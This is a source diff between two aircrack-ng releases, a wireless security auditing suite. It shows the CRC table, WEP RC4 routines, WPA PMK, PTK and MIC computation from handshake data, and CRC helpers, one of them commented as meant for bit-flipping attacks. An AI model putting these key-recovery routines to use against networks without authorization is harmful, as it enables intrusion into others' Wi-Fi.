+	   {0x4F, 0x8C, 0xB3, 0x61}, {0x0E, 0x8A, 0xC2, 0xBA},
+	   {0x8C, 0x86, 0x20, 0x0C}, {0xCD, 0x80, 0x51, 0xD7},
+	   {0x84, 0xB4, 0xA8, 0xD7}, {0xC5, 0xB2, 0xD9, 0x0C},
+	   {0x47, 0xBE, 0x3B, 0xBA}, {0x06, 0xB8, 0x4A, 0x61},
+	   {0x02, 0xA1, 0x8E, 0x0C}, {0x43, 0xA7, 0xFF, 0xD7},
+	   {0xC1, 0xAB, 0x1D, 0x61}, {0x80, 0xAD, 0x6C, 0xBA},
+	   {0xCC, 0x16, 0x61, 0xD0}, {0x8D, 0x10, 0x10, 0x0B},
+	   {0x0F, 0x1C, 0xF2, 0xBD}, {0x4E, 0x1A, 0x83, 0x66},
+	   {0x4A, 0x03, 0x47, 0x0B}, {0x0B, 0x05, 0x36, 0xD0},
+	   {0x89, 0x09, 0xD4, 0x66}, {0xC8, 0x0F, 0xA5, 0xBD},
+	   {0x81, 0x3B, 0x5C, 0xBD}, {0xC0, 0x3D, 0x2D, 0x66},
+	   {0x42, 0x31, 0xCF, 0xD0}, {0x03, 0x37, 0xBE, 0x0B},
+	   {0x07, 0x2E, 0x7A, 0x66}, {0x46, 0x28, 0x0B, 0xBD},
+	   {0xC4, 0x24, 0xE9, 0x0B}, {0x85, 0x22, 0x98, 0xD0},
+	   {0x56, 0x4C, 0x1B, 0x0A}, {0x17, 0x4A, 0x6A, 0xD1},
+	   {0x95, 0x46, 0x88, 0x67}, {0xD4, 0x40, 0xF9, 0xBC},
+	   {0xD0, 0x59, 0x3D, 0xD1}, {0x91, 0x5F, 0x4C, 0x0A},
+	   {0x13, 0x53, 0xAE, 0xBC}, {0x52, 0x55, 0xDF, 0x67},
+	   {0x1B, 0x61, 0x26, 0x67}, {0x5A, 0x67, 0x57, 0xBC},
+	   {0xD8, 0x6B, 0xB5, 0x0A}, {0x99, 0x6D, 0xC4, 0xD1},
+	   {0x9D, 0x74, 0x00, 0xBC}, {0xDC, 0x72, 0x71, 0x67},
+	   {0x5E, 0x7E, 0x93, 0xD1}, {0x1F, 0x78, 0xE2, 0x0A},
+	   {0xB9, 0xA5, 0xE4, 0xBF}, {0xF8, 0xA3, 0x95, 0x64},
+	   {0x7A, 0xAF, 0x77, 0xD2}, {0x3B, 0xA9, 0x06, 0x09},
+	   {0x3F, 0xB0, 0xC2, 0x64}, {0x7E, 0xB6, 0xB3, 0xBF},
+	   {0xFC, 0xBA, 0x51, 0x09}, {0xBD, 0xBC, 0x20, 0xD2},
+	   {0xF4, 0x88, 0xD9, 0xD2}, {0xB5, 0x8E, 0xA8, 0x09},
+	   {0x37, 0x82, 0x4A, 0xBF}, {0x76, 0x84, 0x3B, 0x64},
+	   {0x72, 0x9D, 0xFF, 0x09}, {0x33, 0x9B, 0x8E, 0xD2},
+	   {0xB1, 0x97, 0x6C, 0x64}, {0xF0, 0x91, 0x1D, 0xBF},
+	   {0x23, 0xFF, 0x9E, 0x65}, {0x62, 0xF9, 0xEF, 0xBE},
+	   {0xE0, 0xF5, 0x0D, 0x08}, {0xA1, 0xF3, 0x7C, 0xD3},
+	   {0xA5, 0xEA, 0xB8, 0xBE}, {0xE4, 0xEC, 0xC9, 0x65},
+	   {0x66, 0xE0, 0x2B, 0xD3}, {0x27, 0xE6, 0x5A, 0x08},
+	   {0x6E, 0xD2, 0xA3, 0x08}, {0x2F, 0xD4, 0xD2, 0xD3},
+	   {0xAD, 0xD8, 0x30, 0x65}, {0xEC, 0xDE, 0x41, 0xBE},
+	   {0xE8, 0xC7, 0x85, 0xD3}, {0xA9, 0xC1, 0xF4, 0x08},
+	   {0x2B, 0xCD, 0x16, 0xBE}, {0x6A, 0xCB, 0x67, 0x65},
+	   {0xB3, 0xBB, 0x0D, 0x6A}, {0xF2, 0xBD, 0x7C, 0xB1},
+	   {0x70, 0xB1, 0x9E, 0x07}, {0x31, 0xB7, 0xEF, 0xDC},
+	   {0x35, 0xAE, 0x2B, 0xB1}, {0x74, 0xA8, 0x5A, 0x6A},
+	   {0xF6, 0xA4, 0xB8, 0xDC}, {0xB7, 0xA2, 0xC9, 0x07},
+	   {0xFE, 0x96, 0x30, 0x07}, {0xBF, 0x90, 0x41, 0xDC},
+	   {0x3D, 0x9C, 0xA3, 0x6A}, {0x7C, 0x9A, 0xD2, 0xB1},
+	   {0x78, 0x83, 0x16, 0xDC}, {0x39, 0x85, 0x67, 0x07},
+	   {0xBB, 0x89, 0x85, 0xB1}, {0xFA, 0x8F, 0xF4, 0x6A},
+	   {0x29, 0xE1, 0x77, 0xB0}, {0x68, 0xE7, 0x06, 0x6B},
+	   {0xEA, 0xEB, 0xE4, 0xDD}, {0xAB, 0xED, 0x95, 0x06},
+	   {0xAF, 0xF4, 0x51, 0x6B}, {0xEE, 0xF2, 0x20, 0xB0},
+	   {0x6C, 0xFE, 0xC2, 0x06}, {0x2D, 0xF8, 0xB3, 0xDD},
+	   {0x64, 0xCC, 0x4A, 0xDD}, {0x25, 0xCA, 0x3B, 0x06},
+	   {0xA7, 0xC6, 0xD9, 0xB0}, {0xE6, 0xC0, 0xA8, 0x6B},
+	   {0xE2, 0xD9, 0x6C, 0x06}, {0xA3, 0xDF, 0x1D, 0xDD},
+	   {0x21, 0xD3, 0xFF, 0x6B}, {0x60, 0xD5, 0x8E, 0xB0},
+	   {0xC6, 0x08, 0x88, 0x05}, {0x87, 0x0E, 0xF9, 0xDE},
+	   {0x05, 0x02, 0x1B, 0x68}, {0x44, 0x04, 0x6A, 0xB3},
+	   {0x40, 0x1D, 0xAE, 0xDE}, {0x01, 0x1B, 0xDF, 0x05},
+	   {0x83, 0x17, 0x3D, 0xB3}, {0xC2, 0x11, 0x4C, 0x68},
+	   {0x8B, 0x25, 0xB5, 0x68}, {0xCA, 0x23, 0xC4, 0xB3},
+	   {0x48, 0x2F, 0x26, 0x05}, {0x09, 0x29, 0x57, 0xDE},
+	   {0x0D, 0x30, 0x93, 0xB3}, {0x4C, 0x36, 0xE2, 0x68},
+	   {0xCE, 0x3A, 0x00, 0xDE}, {0x8F, 0x3C, 0x71, 0x05},
+	   {0x5C, 0x52, 0xF2, 0xDF}, {0x1D, 0x54, 0x83, 0x04},
+	   {0x9F, 0x58, 0x61, 0xB2}, {0xDE, 0x5E, 0x10, 0x69},
+	   {0xDA, 0x47, 0xD4, 0x04}, {0x9B, 0x41, 0xA5, 0xDF},
+	   {0x19, 0x4D, 0x47, 0x69}, {0x58, 0x4B, 0x36, 0xB2},
+	   {0x11, 0x7F, 0xCF, 0xB2}, {0x50, 0x79, 0xBE, 0x69},
+	   {0xD2, 0x75, 0x5C, 0xDF}, {0x93, 0x73, 0x2D, 0x04},
+	   {0x97, 0x6A, 0xE9, 0x69}, {0xD6, 0x6C, 0x98, 0xB2},
+	   {0x54, 0x60, 0x7A, 0x04}, {0x15, 0x66, 0x0B, 0xDF},
+	   {0x59, 0xDD, 0x06, 0xB5}, {0x18, 0xDB, 0x77, 0x6E},
+	   {0x9A, 0xD7, 0x95, 0xD8}, {0xDB, 0xD1, 0xE4, 0x03},
+	   {0xDF, 0xC8, 0x20, 0x6E}, {0x9E, 0xCE, 0x51, 0xB5},
+	   {0x1C, 0xC2, 0xB3, 0x03}, {0x5D, 0xC4, 0xC2, 0xD8},
+	   {0x14, 0xF0, 0x3B, 0xD8}, {0x55, 0xF6, 0x4A, 0x03},
+	   {0xD7, 0xFA, 0xA8, 0xB5}, {0x96, 0xFC, 0xD9, 0x6E},
+	   {0x92, 0xE5, 0x1D, 0x03}, {0xD3, 0xE3, 0x6C, 0xD8},
+	   {0x51, 0xEF, 0x8E, 0x6E}, {0x10, 0xE9, 0xFF, 0xB5},
+	   {0xC3, 0x87, 0x7C, 0x6F}, {0x82, 0x81, 0x0D, 0xB4},
+	   {0x00, 0x8D, 0xEF, 0x02}, {0x41, 0x8B, 0x9E, 0xD9},
+	   {0x45, 0x92, 0x5A, 0xB4}, {0x04, 0x94, 0x2B, 0x6F},
+	   {0x86, 0x98, 0xC9, 0xD9}, {0xC7, 0x9E, 0xB8, 0x02},
+	   {0x8E, 0xAA, 0x41, 0x02}, {0xCF, 0xAC, 0x30, 0xD9},
+	   {0x4D, 0xA0, 0xD2, 0x6F}, {0x0C, 0xA6, 0xA3, 0xB4},
+	   {0x08, 0xBF, 0x67, 0xD9}, {0x49, 0xB9, 0x16, 0x02},
+	   {0xCB, 0xB5, 0xF4, 0xB4}, {0x8A, 0xB3, 0x85, 0x6F},
+	   {0x2C, 0x6E, 0x83, 0xDA}, {0x6D, 0x68, 0xF2, 0x01},
+	   {0xEF, 0x64, 0x10, 0xB7}, {0xAE, 0x62, 0x61, 0x6C},
+	   {0xAA, 0x7B, 0xA5, 0x01}, {0xEB, 0x7D, 0xD4, 0xDA},
+	   {0x69, 0x71, 0x36, 0x6C}, {0x28, 0x77, 0x47, 0xB7},
+	   {0x61, 0x43, 0xBE, 0xB7}, {0x20, 0x45, 0xCF, 0x6C},
+	   {0xA2, 0x49, 0x2D, 0xDA}, {0xE3, 0x4F, 0x5C, 0x01},
+	   {0xE7, 0x56, 0x98, 0x6C}, {0xA6, 0x50, 0xE9, 0xB7},
+	   {0x24, 0x5C, 0x0B, 0x01}, {0x65, 0x5A, 0x7A, 0xDA},
+	   {0xB6, 0x34, 0xF9, 0x00}, {0xF7, 0x32, 0x88, 0xDB},
+	   {0x75, 0x3E, 0x6A, 0x6D}, {0x34, 0x38, 0x1B, 0xB6},
+	   {0x30, 0x21, 0xDF, 0xDB}, {0x71, 0x27, 0xAE, 0x00},
+	   {0xF3, 0x2B, 0x4C, 0xB6}, {0xB2, 0x2D, 0x3D, 0x6D},
+	   {0xFB, 0x19, 0xC4, 0x6D}, {0xBA, 0x1F, 0xB5, 0xB6},
+	   {0x38, 0x13, 0x57, 0x00}, {0x79, 0x15, 0x26, 0xDB},
+	   {0x7D, 0x0C, 0xE2, 0xB6}, {0x3C, 0x0A, 0x93, 0x6D},
+	   {0xBE, 0x06, 0x71, 0xDB}, {0xFF, 0x00, 0x00, 0x00}};
 
 #endif /* crctable.h */

aircrack-ng-1.2-rc4.tar.gz/src/crypto.c -> aircrack-ng-1.4.tar.gz/src/crypto.c Changed

@@ -15,7 +15,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  * In addition, as a special exception, the copyright holders give
  * permission to link the code of portions of this program with the
@@ -32,6 +32,16 @@
 
  */
 
+#ifdef USE_GCRYPT
+#include "gcrypt-openssl-wrapper.h"
+#include "sha1-git.h"
+#else
+#include <openssl/hmac.h>
+#include <openssl/sha.h>
+// We don't use EVP. Bite me
+#include <openssl/rc4.h>
+#include <openssl/aes.h>
+#endif
 #include <string.h>
 #include <arpa/inet.h>
 #include <assert.h>
@@ -40,210 +50,192 @@
 #include "crypto.h"
 #include "crctable.h"
 #include "aircrack-ng.h"
+#include "aircrack-util/common.h"
 
-#define GET_UINT32_LE(n,b,i)                    \
-{                                               \
-    (n) = ( (uint32_t) (b)[(i)    ]       )       \
-        | ( (uint32_t) (b)[(i) + 1] <<  8 )       \
-        | ( (uint32_t) (b)[(i) + 2] << 16 )       \
-        | ( (uint32_t) (b)[(i) + 3] << 24 );      \
-}
-
-#define PUT_UINT32_LE(n,b,i)                    \
-{                                               \
-    (b)[(i)    ] = (uint8_t) ( (n)       );       \
-    (b)[(i) + 1] = (uint8_t) ( (n) >>  8 );       \
-    (b)[(i) + 2] = (uint8_t) ( (n) >> 16 );       \
-    (b)[(i) + 3] = (uint8_t) ( (n) >> 24 );       \
-}
-
-#define GET_UINT32_BE(n,b,i)                    \
-{                                               \
-    (n) = ( (uint32_t) (b)[(i)    ] << 24 )       \
-        | ( (uint32_t) (b)[(i) + 1] << 16 )       \
-        | ( (uint32_t) (b)[(i) + 2] <<  8 )       \
-        | ( (uint32_t) (b)[(i) + 3]       );      \
-}
-
-#define PUT_UINT32_BE(n,b,i)                    \
-{                                               \
-    (b)[(i)    ] = (uint8_t) ( (n) >> 24 );       \
-    (b)[(i) + 1] = (uint8_t) ( (n) >> 16 );       \
-    (b)[(i) + 2] = (uint8_t) ( (n) >>  8 );       \
-    (b)[(i) + 3] = (uint8_t) ( (n)       );       \
-}
-
-static unsigned char ZERO[32] =
-        "\x00\x00\x00\x00\x00\x00\x00\x00"
-        "\x00\x00\x00\x00\x00\x00\x00\x00"
-        "\x00\x00\x00\x00\x00\x00\x00\x00"
-        "\x00\x00\x00\x00\x00\x00\x00\x00";
+#define UBTOUL(b) ((unsigned long) (b))
 
 /* RC4 encryption/ WEP decryption check */
 
 /*  SSL decryption */
 
-int encrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen )
+int encrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen)
 {
-    RC4_KEY S;
-
-    RC4_set_key( &S, keylen, key );
-    RC4( &S, len, data, data );
+	RC4_KEY S;
 
-    return ( 0 );
+	RC4_set_key(&S, keylen, key);
+	RC4(&S, (size_t) len, data, data);
 
+	return (0);
 }
 
-int decrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen )
+int decrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen)
 {
-    encrypt_wep (data,len,key,keylen);
-    return( check_crc_buf( data, len - 4 ) );
-
+	encrypt_wep(data, len, key, keylen);
+	return (check_crc_buf(data, len - 4));
 }
 
-
 /* An implementation of the ARC4 algorithm */
 
-void rc4_setup( struct rc4_state *s, unsigned char *key,  int length )
+void rc4_setup(struct rc4_state * s, const unsigned char * key, int length)
 {
-    int i, j, k, *m, a;
+	int i, j, k, *m;
 
-    s->x = 0;
-    s->y = 0;
+	s->x = 0;
+	s->y = 0;
 	m = s->m;
 
-    for( i = 0; i < 256; i++ )
-    {
-        m[i] = i;
-    }
+	for (i = 0; i < 256; i++)
+	{
+		m[i] = i;
+	}
 
-    j = k = 0;
+	j = k = 0;
 
-    for(i=0 ; i < 256; i++ )
-    {
-        a = m[i];
-        j = (unsigned char) ( j + a + key[k] );
-        m[i] = m[j]; m[j] = a;
-        if( ++k >= length ) k = 0;
-    }
+	for (i = 0; i < 256; i++)
+	{
+		int a = m[i];
+		j = (unsigned char) (j + a + key[k]);
+		m[i] = m[j];
+		m[j] = a;
+		if (++k >= length) k = 0;
+	}
 }
 
-void rc4_crypt( struct rc4_state *s, unsigned char *data, int length )
+void rc4_crypt(struct rc4_state * s, unsigned char * data, int length)
 {
-    int i, x, y, *m, a, b;
-
-    x = s->x;
-    y = s->y;
-    m = s->m;
-
-    for( i = 0; i < length; i++ )
-    {
-        x = (unsigned char) ( x + 1 ); a = m[x];
-        y = (unsigned char) ( y + a );
-        m[x] = b = m[y];
-        m[y] = a;
-        data[i] ^= m[(unsigned char) ( a + b )];
-    }
-
-    s->x = x;
-    s->y = y;
+	int i, x, y, *m;
+
+	x = s->x;
+	y = s->y;
+	m = s->m;
+
+	for (i = 0; i < length; i++)
+	{
+		int a, b;
+
+		x = (unsigned char) (x + 1);
+		a = m[x];
+		y = (unsigned char) (y + a);
+		m[x] = b = m[y];
+		m[y] = a;
+		data[i] ^= m[(unsigned char) (a + b)];
+	}
+
+	s->x = x;
+	s->y = y;
 }
 
 /* WEP (barebone RC4) en-/decryption routines */
 /*
 int encrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen )
 {
-    struct rc4_state S;
+	struct rc4_state S;
 
-    rc4_setup( &S, key, keylen );
-    rc4_crypt( &S, data, len );
+	rc4_setup( &S, key, keylen );
+	rc4_crypt( &S, data, len );
 
-    return( 0 );
+	return( 0 );
 }
 
 int decrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen )
 {
-    struct rc4_state S;
+	struct rc4_state S;
 
-    rc4_setup( &S, key, keylen );
-    rc4_crypt( &S, data, len );
+	rc4_setup( &S, key, keylen );
+	rc4_crypt( &S, data, len );
 
-    return( check_crc_buf( data, len - 4 ) );
+	return( check_crc_buf( data, len - 4 ) );
 }
 */
 
 /* derive the PMK from the passphrase and the essid */
 
-void calc_pmk( char *key, char *essid_pre, unsigned char pmk[40] )
+void calc_pmk(char * key, char * essid_pre, unsigned char pmk[40])
 {
 	int i, j, slen;
 	unsigned char buffer[65];
-	char essid[33+4];
+	char essid[33 + 4];
 	SHA_CTX ctx_ipad;
 	SHA_CTX ctx_opad;
 	SHA_CTX sha1_ctx;
+	size_t essid_pre_len;
+
+	if (essid_pre == NULL || essid_pre[0] == 0
+		|| (essid_pre_len = strlen(essid_pre)) > 32)
+	{
+		return;
+	}
 
 	memset(essid, 0, sizeof(essid));
-	memcpy(essid, essid_pre, strlen(essid_pre));
-	slen = strlen( essid ) + 4;
+	memcpy(essid, essid_pre, essid_pre_len);
+	slen = (int) essid_pre_len + 4;
 
 	/* setup the inner and outer contexts */
 
-	memset( buffer, 0, sizeof( buffer ) );
-	strncpy( (char *) buffer, key, sizeof( buffer ) - 1 );
+	memset(buffer, 0, sizeof(buffer));
+	strncpy((char *) buffer, key, sizeof(buffer) - 1);
 
-	for( i = 0; i < 64; i++ )
-		buffer[i] ^= 0x36;
+	for (i = 0; i < 64; i++) buffer[i] ^= 0x36;
 
-	SHA1_Init( &ctx_ipad );
-	SHA1_Update( &ctx_ipad, buffer, 64 );
+	SHA1_Init(&ctx_ipad);
+	SHA1_Update(&ctx_ipad, buffer, 64);
 
-	for( i = 0; i < 64; i++ )
-		buffer[i] ^= 0x6A;
+	for (i = 0; i < 64; i++) buffer[i] ^= 0x6A;
 
-	SHA1_Init( &ctx_opad );
-	SHA1_Update( &ctx_opad, buffer, 64 );
+	SHA1_Init(&ctx_opad);
+	SHA1_Update(&ctx_opad, buffer, 64);
 
 	/* iterate HMAC-SHA1 over itself 8192 times */
 
 	essid[slen - 1] = '\1';
-	HMAC(EVP_sha1(), (unsigned char *)key, strlen(key), (unsigned char*)essid, slen, pmk, NULL);
-	memcpy( buffer, pmk, 20 );
-
-	for( i = 1; i < 4096; i++ )
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key,
+		 (int) strlen(key),
+		 (unsigned char *) essid,
+		 (size_t) slen,
+		 pmk,
+		 NULL);
+	memcpy(buffer, pmk, 20);
+
+	for (i = 1; i < 4096; i++)
 	{
-		memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
-		SHA1_Update( &sha1_ctx, buffer, 20 );
-		SHA1_Final( buffer, &sha1_ctx );
+		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
 
-		memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
-		SHA1_Update( &sha1_ctx, buffer, 20 );
-		SHA1_Final( buffer, &sha1_ctx );
+		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
 
-		for( j = 0; j < 20; j++ )
-			pmk[j] ^= buffer[j];
+		for (j = 0; j < 20; j++) pmk[j] ^= buffer[j];
 	}
 
 	essid[slen - 1] = '\2';
-	HMAC(EVP_sha1(), (unsigned char *)key, strlen(key), (unsigned char*)essid, slen, pmk+20, NULL);
-	memcpy( buffer, pmk + 20, 20 );
-
-	for( i = 1; i < 4096; i++ )
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key,
+		 (int) strlen(key),
+		 (unsigned char *) essid,
+		 (size_t) slen,
+		 pmk + 20,
+		 NULL);
+	memcpy(buffer, pmk + 20, 20);
+
+	for (i = 1; i < 4096; i++)
 	{
-		memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
-		SHA1_Update( &sha1_ctx, buffer, 20 );
-		SHA1_Final( buffer, &sha1_ctx );
+		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
 
-		memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
-		SHA1_Update( &sha1_ctx, buffer, 20 );
-		SHA1_Final( buffer, &sha1_ctx );
+		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
 
-		for( j = 0; j < 20; j++ )
-			pmk[j + 20] ^= buffer[j];
+		for (j = 0; j < 20; j++) pmk[j + 20] ^= buffer[j];
 	}
 }
 
-// void calc_ptk (struct WPA_hdsk *wpa, unsigned char bssid[6], unsigned char pmk[32], unsigned char ptk[80]) {
+// void calc_ptk (struct WPA_hdsk *wpa, unsigned char bssid[6], unsigned char
+// pmk[32], unsigned char ptk[80]) {
 // 	int i;
 // 	unsigned char pke[100];
 // 	HMAC_CTX ctx;
@@ -285,48 +277,76 @@
 // 	HMAC_CTX_cleanup(&ctx);
 // }
 
-void calc_mic (struct AP_info *ap, unsigned char pmk[32], unsigned char ptk[80], unsigned char mic[20]) {
+void calc_mic(struct AP_info * ap,
+			  unsigned char pmk[32],
+			  unsigned char ptk[80],
+			  unsigned char mic[20])
+{
 	int i;
 	unsigned char pke[100];
+#if defined(USE_GCRYPT) || OPENSSL_VERSION_NUMBER < 0x10100000L                \
+	|| defined(LIBRESSL_VERSION_NUMBER)
+#define HMAC_USE_NO_PTR
+#endif
+
+#ifdef HMAC_USE_NO_PTR
 	HMAC_CTX ctx;
+#else
+	HMAC_CTX * ctx;
+#endif
 
-	memcpy( pke, "Pairwise key expansion", 23 );
+	memcpy(pke, "Pairwise key expansion", 23);
 
-	if( memcmp( ap->wpa.stmac, ap->bssid, 6 ) < 0 )
+	if (memcmp(ap->wpa.stmac, ap->bssid, 6) < 0)
 	{
-		memcpy( pke + 23, ap->wpa.stmac, 6 );
-		memcpy( pke + 29, ap->bssid, 6 );
+		memcpy(pke + 23, ap->wpa.stmac, 6);
+		memcpy(pke + 29, ap->bssid, 6);
 	}
 	else
 	{
-		memcpy( pke + 23, ap->bssid, 6 );
-		memcpy( pke + 29, ap->wpa.stmac, 6 );
+		memcpy(pke + 23, ap->bssid, 6);
+		memcpy(pke + 29, ap->wpa.stmac, 6);
 	}
 
-	if( memcmp( ap->wpa.snonce, ap->wpa.anonce, 32 ) < 0 )
+	if (memcmp(ap->wpa.snonce, ap->wpa.anonce, 32) < 0)
 	{
-		memcpy( pke + 35, ap->wpa.snonce, 32 );
-		memcpy( pke + 67, ap->wpa.anonce, 32 );
+		memcpy(pke + 35, ap->wpa.snonce, 32);
+		memcpy(pke + 67, ap->wpa.anonce, 32);
 	}
 	else
 	{
-		memcpy( pke + 35, ap->wpa.anonce, 32 );
-		memcpy( pke + 67, ap->wpa.snonce, 32 );
+		memcpy(pke + 35, ap->wpa.anonce, 32);
+		memcpy(pke + 67, ap->wpa.snonce, 32);
 	}
 
+#ifdef HMAC_USE_NO_PTR
 	HMAC_CTX_init(&ctx);
 	HMAC_Init_ex(&ctx, pmk, 32, EVP_sha1(), NULL);
-	for(i = 0; i < 4; i++ )
+	for (i = 0; i < 4; i++)
 	{
-		pke[99] = i;
-		//HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL);
+		pke[99] = (uint8_t) i;
+		// HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL);
 		HMAC_Init_ex(&ctx, 0, 0, 0, 0);
 		HMAC_Update(&ctx, pke, 100);
-		HMAC_Final(&ctx, ptk + i*20, NULL);
+		HMAC_Final(&ctx, ptk + i * 20, NULL);
 	}
 	HMAC_CTX_cleanup(&ctx);
+#else
+	ctx = HMAC_CTX_new();
+	HMAC_Init_ex(ctx, pmk, 32, EVP_sha1(), NULL);
+	for (i = 0; i < 4; i++)
+	{
+		pke[99] = i;
+		// HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL);
+		HMAC_Init_ex(ctx, 0, 0, 0, 0);
+		HMAC_Update(ctx, pke, 100);
+		HMAC_Final(ctx, ptk + i * 20, NULL);
+	}
+	HMAC_CTX_free(ctx);
+#endif
+#undef HMAC_USE_NO_PTR
 
-	if( ap->wpa.keyver == 1 )
+	if (ap->wpa.keyver == 1)
 	{
 		HMAC(EVP_md5(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL);
 	}
@@ -334,856 +354,974 @@
 	{
 		HMAC(EVP_sha1(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL);
 	}
-
 }
 
-unsigned long calc_crc( unsigned char * buf, int len)
+unsigned long calc_crc(unsigned char * buf, int len)
 {
-    unsigned long crc = 0xFFFFFFFF;
+	unsigned long crc = 0xFFFFFFFF;
 
-    for( ; len > 0; len--, buf++ )
-        crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 );
+	for (; len > 0; len--, buf++)
+		crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ (crc >> 8);
 
-    return( ~crc );
+	return (~crc);
 }
 
-//without inversion, must be used for bit flipping attacks
-unsigned long calc_crc_plain( unsigned char * buf, int len)
+// without inversion, must be used for bit flipping attacks
+unsigned long calc_crc_plain(unsigned char * buf, int len)
 {
-    unsigned long crc = 0x00000000;
+	unsigned long crc = 0x00000000;
 
-    for( ; len > 0; len--, buf++ )
-        crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 );
+	for (; len > 0; len--, buf++)
+		crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ (crc >> 8);
 
-    return( crc );
+	return (crc);
 }
 
 /* CRC checksum verification routine */
 
-int check_crc_buf( unsigned char *buf, int len )
+int check_crc_buf(unsigned char * buf, int len)
 {
-    unsigned long crc;
-
-    crc = calc_crc(buf, len);
-    buf+=len;
-    return( ( ( crc       ) & 0xFF ) == buf[0] &&
-            ( ( crc >>  8 ) & 0xFF ) == buf[1] &&
-            ( ( crc >> 16 ) & 0xFF ) == buf[2] &&
-            ( ( crc >> 24 ) & 0xFF ) == buf[3] );
+	unsigned long crc;
+
+	crc = calc_crc(buf, len);
+	buf += len;
+	return (((crc) &0xFF) == buf[0] && ((crc >> 8) & 0xFF) == buf[1]
+			&& ((crc >> 16) & 0xFF) == buf[2]
+			&& ((crc >> 24) & 0xFF) == buf[3]);
 }
 
 /* Add CRC32 */
 
-int add_crc32(unsigned char* data, int length)
+int add_crc32(unsigned char * data, int length)
 {
-    unsigned long crc;
+	unsigned long crc;
 
-    crc = calc_crc(data, length);
+	crc = calc_crc(data, length);
 
-    data[length]   = (crc      ) & 0xFF;
-    data[length+1] = (crc >>  8) & 0xFF;
-    data[length+2] = (crc >> 16) & 0xFF;
-    data[length+3] = (crc >> 24) & 0xFF;
+	data[length] = (uint8_t)((crc) &0xFF);
+	data[length + 1] = (uint8_t)((crc >> 8) & 0xFF);
+	data[length + 2] = (uint8_t)((crc >> 16) & 0xFF);
+	data[length + 3] = (uint8_t)((crc >> 24) & 0xFF);
 
-    return 0;
+	return 0;
 }
 
-int add_crc32_plain(unsigned char* data, int length)
+int add_crc32_plain(unsigned char * data, int length)
 {
-    unsigned long crc;
+	unsigned long crc;
 
-    crc = calc_crc_plain(data, length);
+	crc = calc_crc_plain(data, length);
 
-    data[length]   = (crc      ) & 0xFF;
-    data[length+1] = (crc >>  8) & 0xFF;
-    data[length+2] = (crc >> 16) & 0xFF;
-    data[length+3] = (crc >> 24) & 0xFF;
+	data[length] = (uint8_t)((crc) &0xFF);
+	data[length + 1] = (uint8_t)((crc >> 8) & 0xFF);
+	data[length + 2] = (uint8_t)((crc >> 16) & 0xFF);
+	data[length + 3] = (uint8_t)((crc >> 24) & 0xFF);
 
-    return 0;
+	return 0;
 }
 
-int calc_crc_buf( unsigned char *buf, int len )
+int calc_crc_buf(unsigned char * buf, int len)
 {
-    return (calc_crc(buf, len));
+	return (int) (calc_crc(buf, len));
 }
 
-void *get_da(unsigned char *wh)
+void * get_da(unsigned char * wh)
 {
-        if (wh[1] & IEEE80211_FC1_DIR_FROMDS)
-                return wh + 4;
-        else
-                return wh + 4 + 6*2;
+	if (wh[1] & IEEE80211_FC1_DIR_FROMDS)
+		return wh + 4;
+	else
+		return wh + 4 + 6 * 2;
 }
 
-void *get_sa(unsigned char *wh)
+void * get_sa(unsigned char * wh)
 {
-        if (wh[1] & IEEE80211_FC1_DIR_FROMDS)
-                return wh + 4 + 6*2;
-        else
-                return wh + 4 + 6;
+	if (wh[1] & IEEE80211_FC1_DIR_FROMDS)
+		return wh + 4 + 6 * 2;
+	else
+		return wh + 4 + 6;
 }
 
-int is_ipv6(void *wh)
+int is_ipv6(void * wh)
 {
-    if(memcmp(wh+4, "\x33\x33", 2) == 0 || memcmp(wh+16, "\x33\x33", 2) == 0)
-        return 1;
+	if (memcmp((char *) wh + 4, "\x33\x33", 2) == 0
+		|| memcmp((char *) wh + 16, "\x33\x33", 2) == 0)
+		return 1;
 
-    return 0;
+	return 0;
 }
 
-int is_dhcp_discover(void *wh, int len)
+int is_dhcp_discover(void * wh, size_t len)
 {
-    if( (memcmp(wh+4, BROADCAST, 6) == 0 || memcmp(wh+16, BROADCAST, 6) == 0) && (len >= 360 - 24 - 4 - 4 && len <= 380 - 24 - 4 - 4 )  )
-        return 1;
+	if ((memcmp((char *) wh + 4, BROADCAST, 6) == 0
+		 || memcmp((char *) wh + 16, BROADCAST, 6) == 0)
+		&& (len >= 360 - 24 - 4 - 4 && len <= 380 - 24 - 4 - 4))
+		return 1;
 
-    return 0;
+	return 0;
 }
